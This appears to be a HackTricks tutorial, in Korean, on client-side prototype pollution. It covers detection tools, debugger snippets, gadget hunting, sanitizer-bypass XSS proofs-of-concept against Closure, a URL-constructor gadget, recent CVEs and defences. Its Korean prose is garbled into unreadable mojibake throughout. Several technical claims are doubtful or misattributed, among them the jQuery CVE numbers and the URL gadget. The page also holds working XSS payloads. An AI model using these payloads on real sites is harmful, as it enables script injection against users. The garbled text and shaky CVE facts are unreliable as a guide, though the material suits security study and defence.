ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ž๋™ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•œ ๋ฐœ๊ฒฌ

๋„๊ตฌ https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap ๋ฐ https://github.com/kosmosec/proto-find ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์ทจ์•ฝ์ ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ, ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ PPScan์„ ์‚ฌ์šฉํ•˜์—ฌ ์ ‘์†ํ•˜๋Š” ํŽ˜์ด์ง€์—์„œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์ทจ์•ฝ์ ์„ ์ž๋™์œผ๋กœ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์†์„ฑ์ด ์‚ฌ์šฉ๋˜๋Š” ์œ„์น˜ ๋””๋ฒ„๊น…

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})

Prototype Pollution์˜ ๊ทผ๋ณธ ์›์ธ ์ฐพ๊ธฐ

ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์ทจ์•ฝ์ ์ด ๋„๊ตฌ์— ์˜ํ•ด ์‹๋ณ„๋˜๋ฉด, ์ฝ”๋“œ๊ฐ€ ์ง€๋‚˜์น˜๊ฒŒ ๋ณต์žกํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ, Chrome ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์—์„œ location.hash, decodeURIComponent ๋˜๋Š” location.search์™€ ๊ฐ™์€ ํ‚ค์›Œ๋“œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ JavaScript ์ฝ”๋“œ์˜ ์ทจ์•ฝํ•œ ์„น์…˜์„ ์ •ํ™•ํžˆ ์ฐพ์•„๋‚ด๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

๋” ํฌ๊ณ  ๋ณต์žกํ•œ ์ฝ”๋“œ๋ฒ ์ด์Šค์˜ ๊ฒฝ์šฐ, ์ทจ์•ฝํ•œ ์ฝ”๋“œ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋Š” ๊ฐ„๋‹จํ•œ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  1. ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  ์ƒ์„ฑ์ž์—์„œ ์†์„ฑ์„ ์„ค์ •ํ•˜๋„๋ก ์„ค๊ณ„๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค. ppmap์—์„œ ์ œ๊ณตํ•˜๋Š” ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: constructor[prototype][ppmap]=reserved.
  2. ํŽ˜์ด์ง€์—์„œ ์‹คํ–‰๋  JavaScript ์ฝ”๋“œ์˜ ์ฒซ ๋ฒˆ์งธ ์ค„์— ์ค‘๋‹จ์ ์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๋กœ ํŽ˜์ด์ง€๋ฅผ ์ƒˆ๋กœ ๊ณ ์น˜๊ณ  ์ด ์ค‘๋‹จ์ ์—์„œ ์‹คํ–‰์„ ์ผ์‹œ ์ค‘์ง€ํ•ฉ๋‹ˆ๋‹ค.
  3. JavaScript ์‹คํ–‰์ด ์ผ์‹œ ์ค‘์ง€๋œ ์ƒํƒœ์—์„œ, JS ์ฝ˜์†”์—์„œ ๋‹ค์Œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” โ€˜ppmapโ€™ ์†์„ฑ์ด ์ƒ์„ฑ๋  ๋•Œ ์‹ ํ˜ธ๋ฅผ ๋ณด๋‚ด์–ด ๊ทธ ์ถœ์ฒ˜๋ฅผ ์ฐพ๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}

debugAccess(Object.prototype, "ppmap")
  1. ์†Œ์Šค ํƒญ์œผ๋กœ ๋Œ์•„๊ฐ€์„œ โ€œ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ์žฌ๊ฐœโ€๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค. JavaScript๋Š” ๊ณ„์† ์‹คํ–‰๋˜๋ฉฐ, โ€˜ppmapโ€™ ์†์„ฑ์ด ์˜ˆ์ƒ๋Œ€๋กœ ์˜ค์—ผ๋ฉ๋‹ˆ๋‹ค. ์ œ๊ณต๋œ ์Šค๋‹ˆํŽซ์„ ํ™œ์šฉํ•˜๋ฉด โ€˜ppmapโ€™ ์†์„ฑ์ด ์˜ค์—ผ๋˜๋Š” ์ •ํ™•ํ•œ ์œ„์น˜๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜ธ์ถœ ์Šคํƒ์„ ๊ฒ€์‚ฌํ•˜๋ฉด ์˜ค์—ผ์ด ๋ฐœ์ƒํ•œ ๋‹ค์–‘ํ•œ ์Šคํƒ์„ ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์–ด๋–ค ์Šคํƒ์„ ์กฐ์‚ฌํ• ์ง€ ๊ฒฐ์ •ํ•  ๋•Œ, JavaScript ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ๊ณผ ๊ด€๋ จ๋œ ์Šคํƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์€ ์ด๋Ÿฌํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋‚ด์—์„œ ์ž์ฃผ ๋ฐœ์ƒํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ์— ์—ฐ๊ฒฐ๋œ ๊ด€๋ จ ์Šคํƒ์„ ํ™•์ธํ•˜์—ฌ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค(์˜ค๋ฅธ์ชฝ์— ํ‘œ์‹œ๋˜๋ฉฐ, ์•ˆ๋‚ด๋ฅผ ์œ„ํ•œ ์ด๋ฏธ์ง€์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค). 4ํ–‰๊ณผ 6ํ–‰๊ณผ ๊ฐ™์ด ์—ฌ๋Ÿฌ ์Šคํƒ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, 4ํ–‰์˜ ์Šคํƒ์ด ๋…ผ๋ฆฌ์ ์ธ ์„ ํƒ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์˜ค์—ผ์˜ ์ดˆ๊ธฐ ๋ฐœ์ƒ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ๋”ฐ๋ผ์„œ ์ทจ์•ฝ์ ์˜ ๊ทผ๋ณธ ์›์ธ์ž…๋‹ˆ๋‹ค. ์Šคํƒ์„ ํด๋ฆญํ•˜๋ฉด ์ทจ์•ฝํ•œ ์ฝ”๋“œ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

์Šคํฌ๋ฆฝํŠธ ๊ฐ€์ ฏ ์ฐพ๊ธฐ

๊ฐ€์ ฏ์€ PP ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜๋ฉด ๋‚จ์šฉ๋  ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ฐ„๋‹จํ•˜๋‹ค๋ฉด, **srcdoc/innerHTML/iframe/createElement**์™€ ๊ฐ™์€ ํ‚ค์›Œ๋“œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ณ  ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๊ฒ€ํ† ํ•˜์—ฌ JavaScript ์‹คํ–‰์œผ๋กœ ์ด์–ด์ง€๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋•Œ๋•Œ๋กœ ์–ธ๊ธ‰๋œ ๊ธฐ์ˆ ์ด ๊ฐ€์ ฏ์„ ์ „ํ˜€ ์ฐพ์ง€ ๋ชปํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ, ์ˆœ์ˆ˜ ์†Œ์Šค ์ฝ”๋“œ ๊ฒ€ํ† ๋ฅผ ํ†ตํ•ด ์•„๋ž˜ ์˜ˆ์™€ ๊ฐ™์€ ๋ฉ‹์ง„ ๊ฐ€์ ฏ์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Mithil ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฝ”๋“œ์—์„œ PP ๊ฐ€์ ฏ ์ฐพ๊ธฐ ์˜ˆ์‹œ

์ด ๊ธ€์„ ํ™•์ธํ•˜์„ธ์š”: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

์ทจ์•ฝํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ ์žฌ์ปดํŒŒ์ผ

PP๋ฅผ ํ†ตํ•œ HTML ์„ธ๋‹ˆํƒ€์ด์ € ์šฐํšŒ

์ด ์—ฐ๊ตฌ๋Š” ์ผ๋ถ€ HTML ์„ธ๋‹ˆํƒ€์ด์ € ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ์ œ๊ณตํ•˜๋Š” ์„ธ๋‹ˆํƒ€์ด์ฆˆ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•  PP ๊ฐ€์ ฏ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

  • sanitize-html
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png
  • dompurify
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png
  • Closure
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

New Tools & Automation (2023โ€“2025)

  • Burp Suite DOM Invader (v2023.6) โ€“ PortSwigger๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜ ์ด๋ฆ„์„ ์ž๋™์œผ๋กœ ๋ณ€ํ˜•ํ•˜๊ณ (e.g. __proto__, constructor.prototype) ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ๋‚ด์˜ ์‹ฑํฌ ํฌ์ธํŠธ์—์„œ ์˜ค์—ผ๋œ ์†์„ฑ์„ ๊ฐ์ง€ํ•˜๋Š” ์ „์šฉ Prototype-pollution ํƒญ์„ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€์ ฏ์ด ํŠธ๋ฆฌ๊ฑฐ๋˜๋ฉด, DOM Invader๋Š” ์‹คํ–‰ ์Šคํƒ๊ณผ ์†์„ฑ์ด ์—ญ์ฐธ์กฐ๋œ ์ •ํ™•ํ•œ ์ค„์„ ๋ณด์—ฌ์ฃผ์–ด ์ˆ˜๋™ ์ค‘๋‹จ์  ํƒ์ƒ‰์ด ํ•„์š” ์—†๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์œ„์— ์ด๋ฏธ ๋ณด์—ฌ์ค€ โ€œ์†์„ฑ ์ ‘๊ทผ ์‹œ ์ค‘๋‹จโ€ ์Šค๋‹ˆํŽซ๊ณผ ๊ฒฐํ•ฉํ•˜์—ฌ source โ†’ sink๋กœ ๋น ๋ฅด๊ฒŒ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • protoStalker โ€“ ์‹ค์‹œ๊ฐ„์œผ๋กœ ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ์‹œ๊ฐํ™”ํ•˜๊ณ  onerror, innerHTML, srcdoc, id ๋“ฑ๊ณผ ๊ฐ™์€ ์ „์—ญ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ํ‚ค์— ๋Œ€ํ•œ ์“ฐ๊ธฐ๋ฅผ ํ”Œ๋ž˜๊ทธํ•˜๋Š” ์˜คํ”ˆ ์†Œ์Šค Chrome DevTools ํ”Œ๋Ÿฌ๊ทธ์ธ(2024๋…„ ์ถœ์‹œ)์ž…๋‹ˆ๋‹ค. ํ”„๋กœ๋•์…˜ ๋ฒˆ๋“ค๋งŒ ์žˆ๊ณ  ๋นŒ๋“œ ๋‹จ๊ณ„๋ฅผ ๊ณ„์ธกํ•  ์ˆ˜ ์—†์„ ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ppfuzz 2.0 (2025) โ€“ ์ด ๋„๊ตฌ๋Š” ์ด์ œ ES ๋ชจ๋“ˆ, HTTP/2 ๋ฐ WebSocket ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ƒˆ๋กœ์šด -A browser ๋ชจ๋“œ๋Š” ํ—ค๋“œ๋ฆฌ์Šค Chromium ์ธ์Šคํ„ด์Šค๋ฅผ ์‹คํ–‰ํ•˜๊ณ  DOM API๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•˜์—ฌ ๊ฐ€์ ฏ ํด๋ž˜์Šค๋ฅผ ์ž๋™์œผ๋กœ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค(์•„๋ž˜ ์„น์…˜ ์ฐธ์กฐ).

Recent Prototype-Pollution Gadget Research (2022โ€“2025)

2023๋…„ ์ค‘๋ฐ˜, PortSwigger ์—ฐ๊ตฌ์›๋“ค์€ ๋ธŒ๋ผ์šฐ์ € ๋‚ด์žฅ ๊ฐ์ฒด๊ฐ€ ์˜ค์—ผ๋˜๋ฉด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” XSS ๊ฐ€์ ฏ์œผ๋กœ ๋ณ€ํ™˜๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋…ผ๋ฌธ์„ ๋ฐœํ‘œํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ์ฒด๋Š” ๋ชจ๋“  ํŽ˜์ด์ง€์— ์กด์žฌํ•˜๋ฏ€๋กœ, ํƒ€๊ฒŸ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ๊ฐ€ ์˜ค์—ผ๋œ ์†์„ฑ์— ์ ‘๊ทผํ•˜์ง€ ์•Š๋”๋ผ๋„ ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์ œ ๊ฐ€์ ฏ(๋ชจ๋“  ์—๋ฒ„๊ทธ๋ฆฐ ๋ธŒ๋ผ์šฐ์ € โ‰ฅ 2023-04์—์„œ ์ž‘๋™):

<script>
// Source (e.g. https://victim/?__proto__[href]=javascript:alert(document.domain))
// For demo we just pollute manually:
Object.prototype.href = 'javascript:alert(`polluted`)' ;

// Sink โ€“ URL() constructor implicitly reads `href`
new URL('#'); // breaks into JS; in Chrome you get an alert, Firefox loads "javascript:" URL
</script>

๋‹ค์Œ์€ ์˜ค์—ผ ํ›„ ์ž‘๋™์ด ํ™•์ธ๋œ ๋‹ค๋ฅธ ์œ ์šฉํ•œ ๊ธ€๋กœ๋ฒŒ ๊ฐ€์ ฏ์ž…๋‹ˆ๋‹ค (ํ…Œ์ŠคํŠธ 2024-11):

Gadget classRead propertyPrimitive achieved
Notificationtitlealert() via notification click
WorkernameJS execution in dedicated Worker
ImagesrcTraditional onerror XSS
URLSearchParamstoStringDOM-based Open Redirect

์ „์ฒด 11๊ฐœ ๊ฐ€์ ฏ ๋ชฉ๋ก๊ณผ ์ƒŒ๋“œ๋ฐ•์Šค ํƒˆ์ถœ์— ๋Œ€ํ•œ ๋…ผ์˜๋Š” PortSwigger ๋…ผ๋ฌธ์„ ์ฐธ์กฐํ•˜์„ธ์š”.


์ฃผ๋ชฉํ•  ๋งŒํ•œ ํด๋ผ์ด์–ธํŠธ ์ธก PP CVE (2023-2025)

  • DOMPurify โ‰ค 3.0.8 โ€“ CVE-2024-45801 ๊ณต๊ฒฉ์ž๋Š” sanitizer๊ฐ€ ์ดˆ๊ธฐํ™”๋˜๊ธฐ ์ „์— Node.prototype.after๋ฅผ ์˜ค์—ผ์‹œ์ผœ SAFE_FOR_TEMPLATES ํ”„๋กœํ•„์„ ์šฐํšŒํ•˜๊ณ  ์ €์žฅ๋œ XSS๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ธ‰์ž๋Š” Object.hasOwn() ์ฒดํฌ์™€ ๋‚ด๋ถ€ ๋งต์„ ์œ„ํ•œ Object.create(null)์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒจ์น˜ํ–ˆ์Šต๋‹ˆ๋‹ค.
  • jQuery 3.6.0-3.6.3 โ€“ CVE-2023-26136 / CVE-2023-26140 extend()๋Š” location.hash์—์„œ ์œ ๋ž˜ํ•œ ์กฐ์ž‘๋œ ๊ฐ์ฒด์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์–ด, ๋ธŒ๋ผ์šฐ์ง• ์ปจํ…์ŠคํŠธ์—์„œ Object.prototype์— ์ž„์˜์˜ ์†์„ฑ์„ ๋„์ž…ํ•ฉ๋‹ˆ๋‹ค.
  • sanitize-html < 2.8.1 (2023-10) ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ {"__proto__":{"innerHTML":"<img/src/onerror=alert(1)>"}}์™€ ๊ฐ™์€ ์•…์˜์ ์ธ ์†์„ฑ ๋ชฉ๋ก์ด ํ—ˆ์šฉ ๋ชฉ๋ก์„ ์šฐํšŒํ–ˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ํด๋ผ์ด์–ธํŠธ์—๋งŒ ์กด์žฌํ•˜๋”๋ผ๋„, ๊ฒฐ๊ณผ์ ์ธ XSS๋Š” ๋ฐ˜์‚ฌ๋œ ๋งค๊ฐœ๋ณ€์ˆ˜, postMessage ํ•ธ๋“ค๋Ÿฌ ๋˜๋Š” ๋‚˜์ค‘์— ๋ Œ๋”๋ง๋œ ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ํ†ตํ•ด ์›๊ฒฉ์œผ๋กœ ์—ฌ์ „ํžˆ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


ํ˜„๋Œ€ ๋ฐฉ์–ด ์กฐ์น˜

  1. ๊ธ€๋กœ๋ฒŒ ํ”„๋กœํ† ํƒ€์ž…์„ ์กฐ๊ธฐ์— ๋™๊ฒฐ (์ด์ƒ์ ์œผ๋กœ๋Š” ์ฒซ ๋ฒˆ์งธ ์Šคํฌ๋ฆฝํŠธ๋กœ):
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Map.prototype);

์ด๊ฒƒ์ด ๋Šฆ์€ ํ™•์žฅ์— ์˜์กดํ•˜๋Š” ํด๋ฆฌํ•„์„ ๊นจ๋œจ๋ฆด ์ˆ˜ ์žˆ์Œ์„ ์œ ์˜ํ•˜์„ธ์š”. 2. JSON.parse(JSON.stringify(obj)) ๋˜๋Š” ์ปค๋ฎค๋‹ˆํ‹ฐ โ€œdeepMergeโ€ ์Šค๋‹ˆํŽซ ๋Œ€์‹  structuredClone()์„ ์‚ฌ์šฉํ•˜์„ธ์š” โ€“ ์ด๋Š” ์„ค์ •์ž/๊ฐ€์ ธ์˜ค๊ธฐ์ž๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ํƒ์ƒ‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. 3. ๊นŠ์€ ๋ณ‘ํ•ฉ ๊ธฐ๋Šฅ์ด ์ •๋ง ํ•„์š”ํ•  ๋•Œ๋Š” lodash โ‰ฅ 4.17.22 ๋˜๋Š” deepmerge โ‰ฅ 5.3.0๋ฅผ ์„ ํƒํ•˜์„ธ์š”. ์ด๋“ค์€ ๋‚ด์žฅ๋œ ํ”„๋กœํ† ํƒ€์ž… ์œ„์ƒ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. 4. script-src 'self'์™€ ์—„๊ฒฉํ•œ nonce๊ฐ€ ํฌํ•จ๋œ Content-Security-Policy๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”. CSP๋Š” ๋ชจ๋“  ๊ฐ€์ ฏ์„ ์ฐจ๋‹จํ•˜์ง€๋Š” ์•Š์ง€๋งŒ (์˜ˆ: location ์กฐ์ž‘), ๋Œ€๋ถ€๋ถ„์˜ innerHTML ์‹ฑํฌ๋ฅผ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ